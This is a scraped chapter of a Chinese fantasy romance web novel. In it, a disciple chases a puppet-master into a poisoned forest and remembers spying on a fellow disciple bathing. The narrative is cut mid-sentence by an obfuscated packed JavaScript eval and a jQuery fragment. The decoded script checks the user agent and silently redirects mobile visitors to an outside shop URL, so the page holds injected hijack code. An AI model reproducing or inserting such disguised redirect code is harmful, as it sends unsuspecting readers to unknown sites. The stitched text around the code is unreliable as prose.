文趣网 > 其他小说 > 分手后冰山师弟他疯了 > 7. 小陆洗澡火辣辣
    顾慎之的笑容淡了,双眸死锁住那个方士,问道:“既如此,我该如何破呢?”

    方士推开他的金饼,“无解。”

    顾慎之噙笑一声,而后又止不住一般大笑起来。

    周遭围观的人皆面面相觑,纳闷这人莫非疯了,苏泓也蹙眉看他,不解其意。

    等顾慎之笑够了,他抬手擦掉眼角的笑泪,将金饼夹在指尖,俯身逼近,问道:“你知道,你死于什么吗?”

    日光倾斜而下,映得顾慎之的脸上明暗交错,他虽含着笑,但笑意在暗侧却冷得骇人。

    方士保持着那半仰不仰的姿态,不置一词,若仔细去看,才会发现他静止时的姿态安静得异于常人。

    顾慎之道:“你死于,今日见我。”

    说罢,顾慎之登时扬手一挥,将手中金饼朝那方士掷去。

    在半空中,金饼闪出刺目的诡光,晃得方士当即闭目,旋即金饼如蓄足了力气一般,狠狠得砸进他的脑袋里。

    倏然间,未等众人回神惊呼,就见那方士的头塌陷进去大半,只余下一眼一耳在半个脖子上挂着。

    如此惨烈之状,围观之众被吓得惊惧未定,正要四散逃命,有胆大的多瞅了两眼,察觉出不对劲来。

    那半个脑袋的方士旁边,竟然没有预想中迸出地骇人的红白之物,也没有令人作呕的血腥之气。

    众人纷纷止住脚步,才发觉那方士只是用一层皮包裹着齿轮木块的一具偃甲而已。

    操纵偃甲之人,在被砸中的即刻就化作一缕黑雾,从那具偃甲中夺命而逃,疾速没入一侧城墙之中。

    顾慎之眼尖,趁着城墙结界即将关闭刹那,抬脚钻进了进去。

    苏泓在他身后惊呼了一声,但顾慎之没空留意他是否也跟了进来,脚步生风,双眼死锁那黑雾,奋力追去。

    在这阴云遍布的密林之中,愈发深入便觉其中瘴气浓郁,可他无暇他顾,只想着追人。

    待顾慎之发觉自己眼前越发模糊之时,才后知后觉地意识到自己中了计。

    他不由得缓下脚步,抬手摸到一颗枯树,再一睁眼,眼前已是一片漆黑。

    顾慎之提了口气,调息一股灵气游走在经脉之间,灵气畅通无阻,未见有滞涩之处,猜测应当不是什么厉害的毒。

    他不是第一次当瞎子,心中半点没慌,调动自己的耳鼻,警惕地留意着周围的动向。

    回想着那黑雾急于逃命的模样,应当是不想与自己硬碰硬,既然已经利用瘴气甩开他,就没必要再回来找麻烦。

    虽无危险,但顾慎之有些气郁,不仅是怪自己一着不慎中了诡计,还有就是耳边挥之不去的那句“放不下”。

    不论是故弄玄虚还是有意讥讽,幕后之人都成功的激怒了他。

    顾慎之盘膝坐下,以灵气运转小周天,再次睁眼依旧无济于事。

    这是什么奇技淫巧?

    是留在这继续等,还是冒险破阵,思忖之时,远处好似有道溪水,潺潺之声渐起。

    顾慎之略有疑惑,他向着水声徐徐摸索,一脚踏进溪中才堪堪止步,他俯身掬水,触到凉意,水中也无异味。

    有活水就说明此处不是构设的幻境,他略微放下心来,反倒不着急离去了。

    许是因为近日焦心事多如牛毛,让他不得喘息,他想借此在这无人之处悄悄地释放本性。

    顾慎之蹲坐下来,没什么形象的将鞋袜脱下,赤足踏水。

    水浅才没过脚踝,触及到他小时候不慎留下的一道赤红色的火焰状疤痕。

    身为天生的神仙,还是一只孔雀,自然追求完美,无论这疤是美是丑,但留在身上总令他在意。

    好在位置并不显眼,以前他总是会多套几层袜子,不想让人发现这里有处疤痕。

    但从什么时候开始,他就不是很在意了呢?

    顾慎之踩水地欢快劲儿停住了,他想起来了。

    那是当年在玄天宗,他刚选进内门弟子不久。

    除神女和陆南风因天资出众,当场被卢、崔二位长老收为关门弟子外,余下的弟子都暂留在阁中等待分配。

    乌引和燕眭在秘境中表现优越,自然很早就被挑走,余下顾慎之这个瞎子灵修和其他三位不相熟的同门静候发落。

    毕竟好的都被抢走了,每次余下的这几位天资都很一般,分到谁手里都是徒增负担。

    顾慎之心大,也不愁,毕竟他的任务是护好神女,又不是当宗门第一,有地方去就好了。可他这种散漫随性,落到别人眼里还以为他早就觅得去处。

    在外人看来,顾慎之有残疾,天资也一般,又不算努力,平日里法器法宝灵石却流水一般的用,还和最厉害的神女一行人整日抱团,这个草包少爷人设早就在宗门里根深蒂固。

    总之,顾慎之能通过晋升,他们是不服的。

    一日,有人提议进山修习,不能因等待而搁置修炼。顾慎之没有异议,他能感到大伙对他不满,可他也不屑解释,只是平时连个说话的人都没有,整日呆在阁里早就烦了,也想着进山玩玩。

    可没曾想,他们将顾慎之带进山后,就十分默契的消失不见了。若他真是个瞎子,一定慌得要死。

    顾慎之当时并不称职,连演都不愿意演,原地等了一刻后,就解开双眼的禁制哼着小曲,漫无目的地溜达着。

    走了不知多久,太阳已从头顶落往西山,顾慎之这才有点急了。他没料到自己竟会迷路,也不知再转多久才能出山。

    他想要不要偷偷地越阶使用法宝,没等手伸进乾坤袋,就听到一阵萧声。

    箫声音韵低沉浑厚,曲调悠扬动人,吹着一段《春江花月夜》。

    孔雀本性叫顾慎之好音律,但他不爱弹琴,偏爱听人奏曲。这是本是一首萧鼓齐全的曲子,可只吹萧音却不显单调,反而有种曲高和寡的孤傲之感。

    这么好听的曲子,非要在这么偏僻的地方吹,想来是不欲让人发现。顾慎之寻音而至,好似发现了什么隐秘宝藏,动作小得像做贼。

    就快寻到音源所在,萧声停了,变成了一阵拨弄水流之声。

    顾慎之取下缚目绫,隔着密布的灌木,张目望去。

    只一眼,他便红了脸蛋。

    顾慎之看见一人背对着他半身浸在湖里,赤身/裸/体地擦洗身体。

    残阳余光落在那人满是水痕的麦色肌肤上,好似打了油一般泛着鎏金般的光泽。

    肩胛骨如蝶翼般折起,蜂腰猿臂,孔武得如一只雄鹰,掬水时成块的肌肉随动作起伏,水珠沿着脊梁滚入紧束的腰肌,最后留在若隐若现的双丘之上。

    顾慎之只觉得气血翻涌,心跳加剧,呼吸不畅,整个人登时收回视线不敢再看。

    他缓了会才后之后觉地想,怎么看个男人洗澡,他如此羞赧!?

    他又想,那人怎么不回自己的房内洗,偏要进深山来沐浴,难不成他还藏着什么不足为外人道的宝贝?

    顾慎之正了正心神,他不为别的,就单纯好奇那人是谁。

    他自认抱着一个单纯的想法,只看那人的衣裳有无显眼身份标识,便又探了一次头。

    视线刚搁在那堆衣服上片刻,就又控制不住地瞄了过去,见那人微微侧身,又露出了一片紧实的腹肌。

    顾慎之滚了滚喉咙,逆着水流向上看去,就看见一张布满红痕的脸。

    顾慎之惊得叫了一声,声音不大,但足以让人发现他的存在。

    那人几乎是同时回眸望去,霍然起身卷起衣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698136|208037||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    服,带上面具,提着长萧飞踏而来。

    顾慎之急中生智,他忙将手中的白绫挂在树上,也不顾干净与否,整个人匍匐在地,张开手在地面上摸去,装作寻那白绫。

    那人竟是陆南风,他脱了衣服好壮!

    感叹完,顾慎之后知后觉地发现陆南风脸上的红痕看起来并不像伤疤,感觉像是某种图腾……

    陆南风步履凌厉,提萧像是持剑,带着难掩的杀意袭来,可看见偷窥之人是那小瞎子时,脚步骤然一顿。

    顾慎之悬着心,装瞎装得彻底,他侧耳问道:“你是玄天宗的人吗?我看不见,可以帮我找一下我的缚目绫吗?”

    那白绫挂在树梢很是显眼,看这高度像是路过时被树梢无意勾住的。

    陆南风抬手将那白绫取下,攥进手里,看他身边无人,便问道:“你怎么自己在这?”

    因为陆的声音很好认,低沉有力,和他的箫声一样。

    顾慎之没法装听不出来,装模做样道:“是陆师弟吗?”

    顾慎之讲出前因后果:“大家说要一起上山历练,我闲着无聊就一同去了,可他们好像……丢下我自己走了。我在这山里转了半日,走得腿酸脚麻也没走出去,方才还不慎摔了一跤……陆师弟,你可不可以带我回去呀?”

    话里本来没带多少情绪,但让他这个瞎子坐在地上一讲,足以让人觉得可怜。

    修界之中,最是不缺恃强凌弱之徒,故事说得很真,但陆南风并不完全相信,他问道:“还能站起来吗?”

    顾慎之杵着地,拍拍身上的灰站起来了,许是心虚他下意识瞟了陆南风一眼,好似跟他对上了视线。

    眼看自己藏不住心思,索性又将双眼的禁制开启,彻底当一回瞎子。

    没有那条遮住大半张脸的白绫,顾慎之整张脸彻底露在如火般的残阳下,落日融金,余光洒在他脸上好似镀了一层薄金,映得人眉眼暖哄哄、毛绒绒,笑起来比这阳光都灿烂。

    虽然是同门,但总觉得眼前人举手投足之间总透着些与众不同的矜贵,且长得有几分不像中原人,眼睛很大,眼眸深邃,眸色如金箔点缀的琥珀。

    方才有那么一瞬很是灵动,也不像是个瞎子。

    陆南风眸色微沉,他破天荒地提议:“走吧,我带你回去。”

    顾慎之粲然一笑,得寸进尺道:“我可以拉你的手吗?”

    说完,顾慎之才觉得不稳重,又怕被拒绝,低声补充道:“师弟,你要是在意,我拉袖子也行的。”

    陆南风沉默片刻,声音不辨喜怒道:“可以。”

    陆南风伸出左手,掌心中却悬着一道看似毫无温度,但勃然跳动的紫色狐火。

    陆南风持着烈焰,踱步前行,直到停在距顾慎之半臂远的地方。

    焰火几乎触及其胸膛,近得只需微动身躯,便能令这狐火明灭。

    顾慎之瞎着一双眼,对眼前的危险一无所知。

    他翘起嘴角在黑暗中寻陆南风,一双手先是摸到陆南风的手肘,惊讶他站得好近。

    继而顺着手肘捏到小臂,顾慎之看不见反倒显得触觉灵敏,他清晰地感到陆南风的小臂紧实流畅,被触碰时好似绷得更紧,藏着不外露的力道。

    顾慎之心猿意马,柔软指腹触到他未干的手腕,水汽已被陆南风的体温蒸热,他指尖微颤,顺着湿滑向下摸去。

    眼看,这细长的手指就要毫无防备地触到火焰……

    下一刻,顾慎之却扑了个空。

    陆南风收起手,也收回落在顾慎之脸上的视线。

    他将白绫的一端塞给顾慎之,掌心覆在他的手上,交握一瞬。

    一触即分,陆南风指节微蜷,面具下的脸绷得很紧,他沉声道:“拉好。”